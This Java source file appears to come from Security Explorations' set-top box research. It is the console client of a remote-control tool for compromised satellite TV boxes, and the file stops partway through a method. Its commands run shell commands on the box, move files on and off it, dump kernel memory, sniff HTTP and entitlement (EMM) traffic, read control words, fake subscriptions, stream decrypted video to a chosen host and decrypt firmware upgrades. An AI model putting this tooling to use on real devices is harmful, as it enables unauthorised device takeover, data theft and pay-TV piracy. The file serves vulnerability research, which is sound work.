/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.io.*;
import java.awt.image.*;
import javax.imageio.*;

public class ConsoleIf extends ClientIf {
 private static final String CONSOLE_DESC = "Box Console (ver. 1.0)";

 public static final String FS_ROOT = "FS_DUMP";

 public static final int FILE_GET_PAD = 40;
 public static final int MARK_CNT     = 16;

 public static final String DEFAULT_CAPTURE_FORMAT = "png";

 public static PrintStream out;

 public static int LINESIZE = 16;

 private static String allowed_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890!@#$%^&*()_+-={}[]|:\";',.<>?/";

 public ConsoleIf() throws Throwable {
  super(Proto.CLT_CONSOLE,CONSOLE_DESC);
  set_output(System.out);
 }

 public PrintStream get_output() {
  return out;
 }

 public void set_output(PrintStream ps) {
  out=ps;
 }

 public static void outputln(String line) {
  out.println(line);
  out.flush();
 }

 public void output(int val) {
  out.write(val);
 }

 public void read_lines() throws Throwable {
  while(true) {
   String line=read_string();
   if (line==null) break;
   outputln(line);
  }
 }

 private void print_mark(int cnt) throws Throwable {
  for(int i=0;i<cnt;i++) {
   System.out.print("#");
  }
 }

 public static String FS_ROOT(boolean sys) {
  if (sys) return FS_ROOT+"/sys";
   else return FS_ROOT+"/java";
 }

 private static String rewrite_name(String name) throws Throwable {
  int i=name.lastIndexOf('\\');
  String dirname=name.substring(0, i);
  String filename=name.substring(i+1);
  String newname;

  int j=filename.indexOf('.');

  if (j<=2) {

   newname=dirname+"\\";

   for(i=0;i<filename.length();i++) {
    char c=filename.charAt(i);
    if (Character.isLowerCase(c)) {
     char ctab[]=new char[1];
     ctab[0]=c;

     newname+="l_"+new String(ctab);
    } else

    if (Character.isUpperCase(c)) {
     c=Character.toLowerCase(c);
     char ctab[]=new char[1];
     ctab[0]=c;
     newname+="u_"+new String(ctab);
    } else

    if (c=='.') break;
   }

   newname+=".class";
  } else {
   newname=name;
  }

  return newname;  
 }

 private void read_data_with_size(ClientIf cl,String name,int size) throws Throwable {
  FileOutputStream fos=new FileOutputStream(name,false);
  
  int printed=0;
  System.out.print("[");

  for(int i=0;i<size;i++) {
   int val=cl.read_byte();

   int cnt=(i*MARK_CNT)/size;

   if (printed<cnt) {
    print_mark(cnt-printed);
    printed=cnt;
   }

   fos.write(val);
  }

  System.out.println("]");

  fos.close();
 }

 private void read_data_unknown_size(ClientIf cl,String name) throws Throwable {
  FileOutputStream fos=new FileOutputStream(name,false);
   
  System.out.print("[");

  int total=0;

  while(true) {
   int size=cl.read_int();

   if (size<0) break;

   for(int i=0;i<size;i++) {
    int val=cl.read_byte();
    fos.write(val);
   }   

   total+=size;
  }

  System.out.print(ConsoleUtils.padded_string_left(""+total,9));

  System.out.println("]");

  fos.close();
 }

 private int read_file(boolean sys) throws Throwable {
  String filename=read_string();

  if (filename==null) return FSDefs.FGET_NO_MORE_FILES;

  int res=read_int();

  if (res!=FSDefs.FGET_OK) return res;

  int size=read_int();

  String s1=ConsoleUtils.padded_string(filename,FILE_GET_PAD);
  String s2=" ("+ConsoleUtils.padded_string_left(""+size,9)+") ";

  System.out.print("getting "+s1+s2);

  String name=null;

  if (filename.startsWith("kmem_")) {
   name=FS_ROOT+"\\"+filename;
  } else {
   name=FS_ROOT(sys)+filename.replace('/', '\\');
  }

  int i=name.lastIndexOf('\\');
  String dirname=name.substring(0, i);
  
  new File(dirname).mkdirs();

  if ((!sys)&&(name.endsWith(".class"))) {
   name=rewrite_name(name);
  }

  if (size==0) {
   read_data_unknown_size(this,name);
  } else {
   read_data_with_size(this,name,size);
  }

  return FSDefs.FGET_OK;
 }

 private int read_alternative_name_file(String capturename) throws Throwable {
  String filename=read_string();

  if (filename==null) return FSDefs.FGET_NO_MORE_FILES;

  filename=capturename;

  int res=read_int();

  if (res!=FSDefs.FGET_OK) return res;

  int size=read_int();

  String s1=ConsoleUtils.padded_string(filename,FILE_GET_PAD);
  String s2=" ("+ConsoleUtils.padded_string_left(""+size,9)+") ";

  System.out.print("getting "+s1+s2);

  String name=FS_ROOT+"\\"+filename;

  int i=name.lastIndexOf('\\');
  String dirname=name.substring(0, i);
  
  new File(dirname).mkdirs();

  if (size==0) {
   read_data_unknown_size(this,name);
  } else {
   read_data_with_size(this,name,size);
  }

  return FSDefs.FGET_OK;
 }

 private void print_data_with_size(ClientIf cl,int size) throws Throwable {
  for(int i=0;i<size;i++) {
   int val=cl.read_byte();
   output(val);
  }
  outputln("");
 }

 private void print_data_unknown_size(ClientIf cl) throws Throwable {
  while(true) {
   int size=cl.read_int();

   if (size<0) break;

   for(int i=0;i<size;i++) {
    int val=cl.read_byte();
    output(val);
   }   
  }

  outputln("");
 }

 private int print_file(boolean sys) throws Throwable {
  String filename=read_string();

  if (filename==null) return FSDefs.FGET_NO_MORE_FILES;

  int res=read_int();

  if (res!=FSDefs.FGET_OK) return res;

  int size=read_int();

  if (size==0) {
   print_data_unknown_size(this);
  } else {
   print_data_with_size(this,size);
  }

  return FSDefs.FGET_OK;
 }

 public int read_files(boolean sys) throws Throwable {
  int res=FSDefs.FGET_OK;

  while(true) {
   int status=read_file(sys);

   if (status==FSDefs.FGET_NO_MORE_FILES) break;
  }

  return res;
 }

 private int write_file(String srcfile,String name,int size) throws Throwable {
  int res=read_int();

  if (res!=FSDefs.FPUT_OK) return res;

  FileInputStream fis=null;

  try {
   fis=new FileInputStream(srcfile);
  } catch(Throwable t) {}

  if (fis==null) return FSDefs.FPUT_CANNOT_OPEN;

  String s1=ConsoleUtils.padded_string(name,FILE_GET_PAD);
  String s2=" ("+ConsoleUtils.padded_string_left(""+size,9)+") ";

  System.out.print("putting "+s1+s2);

  int printed=0;
  System.out.print("[");

  out().set_data_type(Proto.CMD_DATA); 

  for(int i=0;i<size;i++) {
   int val=fis.read();

   int cnt=(i*MARK_CNT)/size;

   if (printed<cnt) {
    print_mark(cnt-printed);
    printed=cnt;
   }

   write_byte(val);
  }

  flush();

  out().set_data_type(-1); 

  System.out.println("]");

  fis.close();

  res=read_int();

  return res;
 }

 /* BoxServer specific commands */
 public int cmd_clients_count() throws Throwable {
  write_byte(Proto.CMD_CLIENTS_COUNT);
  flush();

  return read_int();
 }

 public boolean client_connected() throws Throwable {
  write_byte(Proto.CMD_CLIENT_ID);
  flush();

  int id=read_int();

  if (id==-1) return false;
   else return true;
 }

 public void cmd_list() throws Throwable {
  write_byte(Proto.CMD_LIST);
  flush();

  read_lines();
 }

 public int cmd_go(int box) throws Throwable {
  write_byte(Proto.CMD_GO);
  write_byte(box);
  flush();

  return read_int();
 }

 public void cmd_exit() throws Throwable {
  write_byte(Proto.CMD_EXIT);
  flush();
 }

 public void cmd_ecmroutes() throws Throwable {
  write_byte(Proto.CMD_ECMROUTES);
  flush();

  read_lines();
 }

 /* BoxClient specific commands */
 public void cmd_sys_info() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_INFO);
  flush();

  read_lines();
 }

 public void cmd_card_info() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_CARD_INFO);
  flush();

  read_lines();
 }

 public String cmd_sys_pwd() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_PWD);
  flush();

  String dir=read_string();

  return dir;  
 }

 public String cmd_jvm_pwd() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_PWD);
  flush();

  String dir=read_string();

  return dir;  
 }

 public int cmd_sys_chdir(String dir) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_CHDIR);
  write_string(dir);
  flush();

  int res=read_int();

  return res;
 }

 public int cmd_jvm_chdir(String dir) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_CHDIR);
  write_string(dir);
  flush();

  int res=read_int();

  return res;
 }

 public int cmd_sys_dir(String dir,boolean recurse,boolean fullpath) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_DIR);
  write_string(dir);
  write_boolean(recurse);
  write_boolean(fullpath);
  flush();

  int res=read_int();

  if (res==0) {
   read_lines();
  }

  return res;
 }

 public int cmd_jvm_dir(String dir,boolean recurse,boolean fullpath) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_DIR);
  write_string(dir);
  write_boolean(recurse);
  write_boolean(fullpath);
  flush();

  int res=read_int();

  if (res==0) {
   read_lines();
  }

  return res;
 }

 public int cmd_sys_get(String filename) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_GET);
  write_string(filename);
  flush();

  return read_file(true);
 }

 public int cmd_jvm_get(String filename) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_GET);
  write_string(filename);
  flush();

  return read_file(false);
 }

 public int cmd_sys_put(String srcfile,String name,int size,boolean recurse) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_PUT);
  write_string(name);
  write_int(size);
  write_boolean(recurse);
  flush();

  return write_file(srcfile,name,size);
 }

 public int cmd_jvm_put(String srcfile,String name,int size,boolean recurse) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_PUT);
  write_string(name);
  write_int(size);
  write_boolean(recurse);
  flush();

  return write_file(srcfile,name,size);
 }

 public int cmd_sys_del(String filename) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_DEL);
  write_string(filename);
  flush();

  int res=read_int();

  return res;
 }

 public int cmd_jvm_del(String filename) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_DEL);
  write_string(filename);
  flush();

  int res=read_int();

  return res;
 }

 public int cmd_sys_dumpfs(String dir,boolean recurse,boolean zerolen) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_FSDUMP);
  write_string(dir);
  write_boolean(recurse);
  write_boolean(zerolen);
  flush();

  return read_files(true);
 }

 public int cmd_jvm_dumpfs(String dir,boolean recurse,boolean zerolen) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_FSDUMP);
  write_string(dir);
  write_boolean(recurse);
  write_boolean(zerolen);
  flush();

  return read_files(false);
 }

 public int cmd_sys_mkdir(String dirname) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_MKDIR);
  write_string(dirname);
  flush();

  int res=read_int();

  return res;
 }

 public int cmd_jvm_mkdir(String dirname) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_MKDIR);
  write_string(dirname);
  flush();

  int res=read_int();

  return res;
 }

 public int cmd_sys_rmdir(String dirname) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_RMDIR);
  write_string(dirname);
  flush();

  int res=read_int();

  return res;
 }

 public int cmd_jvm_rmdir(String dirname) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_RMDIR);
  write_string(dirname);
  flush();

  int res=read_int();

  return res;
 }

 public void cmd_root() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_ROOT);
  flush();

  read_lines();
 }

 public void cmd_id() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_ID);
  flush();

  read_lines();
 }

 public void cmd_jvm_threads() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_THREADS);
  flush();

  read_lines();
 }

 public void cmd_kdump(int kaddr,int size) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_KDUMP);
  write_int(kaddr);
  write_int(size);
  flush();

  read_file(true);
 }

 public boolean cmd_openurl(String url) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_OPENURL);
  write_string(url);
  flush();

  return read_boolean();
 }

 public void cmd_quit() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_QUIT);
  flush();
 }

 public boolean cmd_play(String url) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_PLAY);
  write_string(url);
  flush();

  return read_boolean();
 }

 public void cmd_avinfo() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_AV_INFO);
  flush();

  read_lines();
 }

 public boolean cmd_srvinfo(int id,int type) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SRV_INFO);
  write_int(id);
  write_int(type);
  flush();
  
  boolean status=read_boolean();

  if (!status) return false;

  read_lines();

  return true;
 }

 public int cmd_sys_cat(String filename) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_CAT);
  write_string(filename);
  flush();

  return print_file(true);
 }

 public int cmd_jvm_cat(String filename) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_CAT);
  write_string(filename);
  flush();

  return print_file(false);
 }

 public boolean cmd_service(int id,int type) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SERVICE);
  write_int(id);
  write_int(type);
  flush();
  
  return read_boolean();
 }

 public void cmd_dvrinfo(int type) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_DVR_INFO);
  write_int(type);
  flush();

  read_lines();
 }

 public void cmd_jvm_props() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_JVM_PROPS);
  flush();

  read_lines();
 }

 public void cmd_dialog(int type,String s1,String s2,boolean wait) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_DIALOG);
  write_int(type);
  write_string(s1);
  write_string(s2);
  write_boolean(wait);
  flush();

  read_lines();
 }

 public boolean cmd_httpsniff(int action,int flags) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_HTTPSNIFF);
  write_int(action);
  write_int(flags);
  flush();

  return read_boolean();
 }

 public void cmd_sys_ps() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SYS_PS);
  flush();

  read_lines();
 }

 public boolean cmd_keys(String keyseq) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_KEYS);
  write_string(keyseq);
  flush();

  return read_boolean();
 }

 public boolean cmd_urimap(int action,String srcuri,String dsturi) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_URIMAP);
  write_int(action);
  write_string(srcuri);
  write_string(dsturi);
  flush();

  boolean res=read_boolean();
  read_lines();

  return res;
 }

 public void cmd_subsinfo() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SUBS_INFO);
  flush();

  read_lines();
 }

 public boolean cmd_epginfo(int id,int cnt) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_EPG_INFO);
  write_int(id);
  write_int(cnt);
  flush();
  
  boolean res=read_boolean();
  read_lines();

  return res;
 }

 public boolean cmd_capture(String name) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_CAPTURE);
  flush();

  int status=read_alternative_name_file("capture\\"+name+"."+DEFAULT_CAPTURE_FORMAT);

  if (status==FSDefs.FGET_OK) return true;
   else return false;   
 }

 private static String char_value(char c) {
  char tab[]=new char[1];

  if (allowed_chars.indexOf(c)!=-1) {
   tab[0]=c;
   return new String(tab);
  } else return ".";
 }

 public static String hex_value(int val,int max) {
  String s="";
  for(int i=0;i<max;i++) {
   s+="0";
  }

  s+=Integer.toHexString(val);

  return s.substring(s.length()-max);
 }

 private static void print_line(byte tab[],int pos) {
  String str="       "+hex_value(pos,4)+": ";

  int size=tab.length-pos;
   
  if (size>LINESIZE) size=LINESIZE;

  for(int i=pos;i<(pos+size);i++) {
   str+=" "+hex_value((int)tab[i],2);
  }

  str+="  ";  

  for(int i=pos;i<(pos+size);i++) {
   str+=char_value((char)tab[i]);
  }

  outputln(str);
 }

 public static void print_buf(byte tab[]) throws Throwable {
  String str=" size: "+hex_value(tab.length,8);

  outputln(str);

  int pos=0;
  
  while(pos<tab.length) {
   print_line(tab,pos);
   pos+=LINESIZE;
  }
 }

 public void cmd_mpegsniff(int pid,int tid) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_MPEGSNIFF);
  write_int(pid);
  write_int(tid);
  flush();

  byte data[]=read_buf();

  print_buf(data);
 }

 public void cmd_pat(boolean full) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_PAT);
  write_boolean(full);
  flush();

  read_lines();
 }

 public void cmd_pmt(int svid) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_PMT);
  write_int(svid);
  flush();

  read_lines();
 }

 public void cmd_dmesg() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_DMESG);
  flush();

  read_lines();
 }

 public void cmd_reboot() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_REBOOT);
  flush();
 }

 public boolean cmd_invoices(int print_type,int cnt,int addr) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_INVOICES);
  write_int(print_type);
  write_int(cnt);
  write_int(addr);
  flush();

  boolean res=read_boolean();

  read_lines();
 
  return res;
 }

 public boolean cmd_dsmccmount(String locator) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_DSMCCMOUNT);
  write_string(locator);
  flush();

  boolean res=read_boolean();

  if (res) {
   read_lines();
  }

  return res;
 }

 public boolean cmd_ssuinfo() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SSU_INFO);
  flush();

  boolean res=read_boolean();

  read_lines();
 
  return res;
 }

 public boolean cmd_emmblock(int action) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_EMMBLOCK);
  write_int(action);
  flush();

  boolean status=read_boolean();

  if (action==EMMBlockerDefs.BLK_STATUS) {
   if (status) outputln("EMM blocker is enabled");
    else outputln("EMM blocker is disabled");
  }

  return status;
 }

 private int hermes_read_upgrade() throws Throwable {
  int res=read_int();

  if (res!=SSUDefs.UPGRADE_OK) return res;

  boolean first=true;

  int sec_cnt=0;
  int sec_max=-1;

  int block_num=0;

  boolean sec_received[]=new boolean[HermesUpgrade.MAX_SECTION_COUNT];
  boolean block_received[]=new boolean[HermesUpgrade.MAX_SECTION_COUNT*HermesUpgrade.MAX_BLOCK_COUNT];
  int block_size[]=new int[HermesUpgrade.MAX_SECTION_COUNT*HermesUpgrade.MAX_BLOCK_COUNT];

  int block_cnt[]=new int[HermesUpgrade.MAX_SECTION_COUNT];
  int block_total[]=new int[HermesUpgrade.MAX_SECTION_COUNT];

  byte image[]=new byte[HermesUpgrade.DEFAULT_SECTION_COUNT*HermesUpgrade.DEFAULT_BLOCK_COUNT*MPEGDefs.MAX_SECTION_SIZE];

  byte data[]=read_buf();

  print_buf(data);

  HermesUpgrade.Info info=HermesUpgrade.extract_info(data);

  System.out.println("- image information");

  String s=ConsoleUtils.padded_string("  name:",20)+info.desc;
  System.out.println(s);

  s=ConsoleUtils.padded_string("  date:",20)+info.date;
  System.out.println(s);

  sec_max=info.sector_cnt+1;

  int total_cnt=info.sector_cnt*HermesUpgrade.DEFAULT_BLOCK_COUNT;

  String filename="UPGRADE_FILE";
  String s1=ConsoleUtils.padded_string(filename,FILE_GET_PAD);
  String s2=" ("+ConsoleUtils.padded_string_left(""+total_cnt,9)+" blocks) ";

  System.out.print("getting "+s1+s2);

  int printed=0;
  System.out.print("[");

  while(true) {
   if (!first) {
    data=read_buf();
//  print_buf(data);
   } else {
    first=false;
   }
   
   int block_id=data[6]&0xff;
   int sec_id=(((data[8]&0xff)<<8)|(data[9]&0xff));
   int pktsize=(((data[1]&0xff)<<8)|(data[2]&0xff))&0xfff;

   int off=sec_id*HermesUpgrade.DEFAULT_BLOCK_COUNT*MPEGDefs.MAX_SECTION_SIZE+block_id*MPEGDefs.MAX_SECTION_SIZE;

   int size=pktsize-7-4;

   for(int i=0;i<size;i++) {
    byte val=data[10+i];
    image[off+i]=val;
   }

   int idx=(sec_id<<8)+block_id;
   block_received[idx]=true;

   block_size[idx]=size;

   if (block_total[sec_id]==0) {
    int block_max=(data[7]&0xff)+1;
    block_total[sec_id]=block_max;
   }

   block_cnt[sec_id]++;

   if (block_cnt[sec_id]==block_total[sec_id]) {
    sec_received[sec_id]=true;
    sec_cnt++;
   }

   block_num++;

   int cnt=(block_num*MARK_CNT)/total_cnt;

   if (printed<cnt) {
    print_mark(cnt-printed);
    printed=cnt;
   }

   if (sec_cnt==sec_max) break;
  }

  System.out.println("]");

  HermesUpgrade.process_data(image,block_total,block_size,sec_max,info.key);

  return SSUDefs.UPGRADE_OK;
 }

 private int carbo_read_upgrade() throws Throwable {
  int ksize=read_int();

  if (ksize<0) return ksize;

  int key[]=new int[ksize];
    
  for(int i=0;i<ksize;i++){
   key[i]=read_int();
  }

  int total_cnt=read_int();

  if (total_cnt<0) return total_cnt;

  byte image[]=new byte[total_cnt*MPEGDefs.MAX_SECTION_SIZE];
  int secsize[]=new int[total_cnt];

  String filename="UPGRADE_FILE";
  String s1=ConsoleUtils.padded_string(filename,FILE_GET_PAD);
  String s2=" ("+ConsoleUtils.padded_string_left(""+total_cnt,9)+" sections) ";

  System.out.print("getting "+s1+s2);

  int printed=0;
  System.out.print("[");

  int sec_cnt=0;

  while(sec_cnt<total_cnt) {
   byte data[]=read_buf();

// print_buf(data);

   int pktsize=(((data[1]&0xff)<<8)|(data[2]&0xff))&0xfff;
   int section_id=(((data[5]&0xff)<<8)|(data[6]&0xff));

   int off=section_id*MPEGDefs.MAX_SECTION_SIZE;
   int size=pktsize-6-4;

   secsize[section_id]=size;

   for(int i=0;i<size;i++) {
    byte val=data[9+i];
    image[off+i]=val;
   }

   sec_cnt++;

   int cnt=(sec_cnt*MARK_CNT)/total_cnt;

   if (printed<cnt) {
    print_mark(cnt-printed);
    printed=cnt;
   }
  }

  System.out.println("]");

  CarboUpgrade.process_data(image,secsize,total_cnt,key);

  return SSUDefs.UPGRADE_OK;
 }

 public int read_upgrade(int hwid) throws Throwable {
  int res=SSUDefs.UPGRADE_OK;

  switch(hwid) {
   case SysInfoDefs.ITI5800S:
   case SysInfoDefs.ITI5800SX:
    res=hermes_read_upgrade();
    break;

   case SysInfoDefs.ITI2850ST:
   case SysInfoDefs.ITI2851S:
    res=carbo_read_upgrade();
    break;

   default:
    res=carbo_read_upgrade();
    break;
  }

  return res;
 }

 public void cmd_keyinfo() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_KEYINFO);
  flush();

  read_lines();
 }

 public int cmd_upgdnl(int hwid) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_UPGDNL);
  write_int(hwid);
  flush();

  return read_upgrade(hwid);
 }

 public int cmd_dvrmgr(int action,int channel,long from,long to,int id) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_DVRMGR);
  write_int(action);
  write_int(channel);
  write_long(from);
  write_long(to);
  write_int(id);

  flush();

  return read_int();
 }

 public boolean cmd_emmsniff(int action) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_EMMSNIFF);
  write_int(action);
  flush();

  boolean status=read_boolean();

  if (action==EMMSnifferDefs.SN_STATUS) {
   if (status) outputln("EMM sniffer is enabled");
    else outputln("EMM sniffer is disabled");
  }

  return status;
 }

 public int cmd_mpegdump(int action,int dmx_id,int channel,int secs,String host,int port) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_MPEGDUMP);
  write_int(action);
  write_int(dmx_id);
  write_int(channel);
  write_int(secs);
  write_string(host);
  write_int(port);
  flush();

  return read_int();
 }

 public int cmd_chmod(String filename,int mode) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_CHMOD);
  write_string(filename);
  write_int(mode);
  flush();

  return read_int();
 }

 public int cmd_chown(String filename,String owner,String group) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_CHOWN);
  write_string(filename);
  write_string(owner);
  write_string(group);
  flush();

  return read_int();
 }

 public void cmd_exec(String cmd) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_EXEC);
  write_string(cmd);
  flush();

  read_lines();
 }

 public void cmd_fwflush() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_FWFLUSH);
  flush();
 }

 public int cmd_emmload(int action,String name) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_EMMLOAD);
  write_int(action);
  write_string(name);
  flush();

  int res=read_int();

  if (res==EMMStoreDefs.RES_OK) {
   switch(action) {
    case EMMStoreDefs.EMM_VIEW:
     byte data[]=read_buf();
     print_buf(data);
     break;
    case EMMStoreDefs.EMM_LOAD:
     read_lines();
     break;
   }
  }

  return res;
 }

 public int cmd_ecmreceive(int action,int channel) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_ECMRECEIVE);
  write_int(action);
  write_int(channel);
  flush();

  return read_int();
 }

 public int cmd_ecmforward(int action,int channel) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_ECMFORWARD);
  write_int(action);
  write_int(channel);
  flush();

  return read_int();
 }

 public void cmd_conax_info() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_CONAX_INFO);
  flush();

  read_lines();
 }

 public void cmd_cw_info(int cnt) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_CW_INFO);

  write_int(cnt);

  flush();

  read_lines();
 }

 public int cmd_vodprops(int id) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_VODPROPS);
  write_int(id);
  flush();

  int res=read_int();

  if (res==VODDefs.RES_OK) {
   read_lines();
  }

  return res;
 }

 public int cmd_vodecm(int action,int id,String name) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_VODECM);
  write_int(action);
  write_int(id);
  write_string(name);
  flush();

  int res=read_int();

  if (res==VODDefs.RES_OK) {
   if (action==VODDefs.ECM_VIEW) {
    read_lines();
   }
  }

  return res;
 }

 public int cmd_vodserver(int action) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_VODSERVER);
  write_int(action);
  flush();

  return read_int();
 }

 public int cmd_voddump(int action,int dmx_id,int recid,int secs,String host,int port) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_VODDUMP);
  write_int(action);
  write_int(dmx_id);
  write_int(recid);
  write_int(secs);
  write_string(host);
  write_int(port);
  flush();

  return read_int();
 }

 public int cmd_fakesubs(int action,String provider,int mask) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_FAKESUBS);
  write_int(action);
  write_string(provider);
  write_int(mask);
  flush();

  int res=read_int();

  if (res==SubsFakerDefs.RES_OK) {
   if (action==SubsFakerDefs.SF_VIEW) {
    read_lines();
   }
  }

  return res;
 }

 public void cmd_mem(int addr,int size) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_MEM);
  write_int(addr);
  write_int(size);
  flush();

  byte data[]=read_buf();

  print_buf(data);
 }

 public void cmd_tkdinput(byte input[]) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_TKDINPUT);

  write_int(input.length);

  for(int i=0;i<input.length;i++) {
   write_byte(input[i]);
  }

  flush();

  read_lines();
 }

 public void cmd_setcwpk(byte input[]) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_SETCWPK);

  write_int(input.length);

  for(int i=0;i<input.length;i++) {
   write_byte(input[i]);
  }

  flush();

  read_lines();
 }

 public void cmd_tkdreg(int idx,byte input[]) throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_TKDREG);

  write_int(idx);

  write_int(input.length);

  for(int i=0;i<input.length;i++) {
   write_byte(input[i]);
  }

  flush();

  read_lines();
 }

 public void cmd_tkdregs() throws Throwable {
  write_byte(Proto.CMD_DATA);
  write_byte(Proto.CMD_TKDREGS);

  flush();
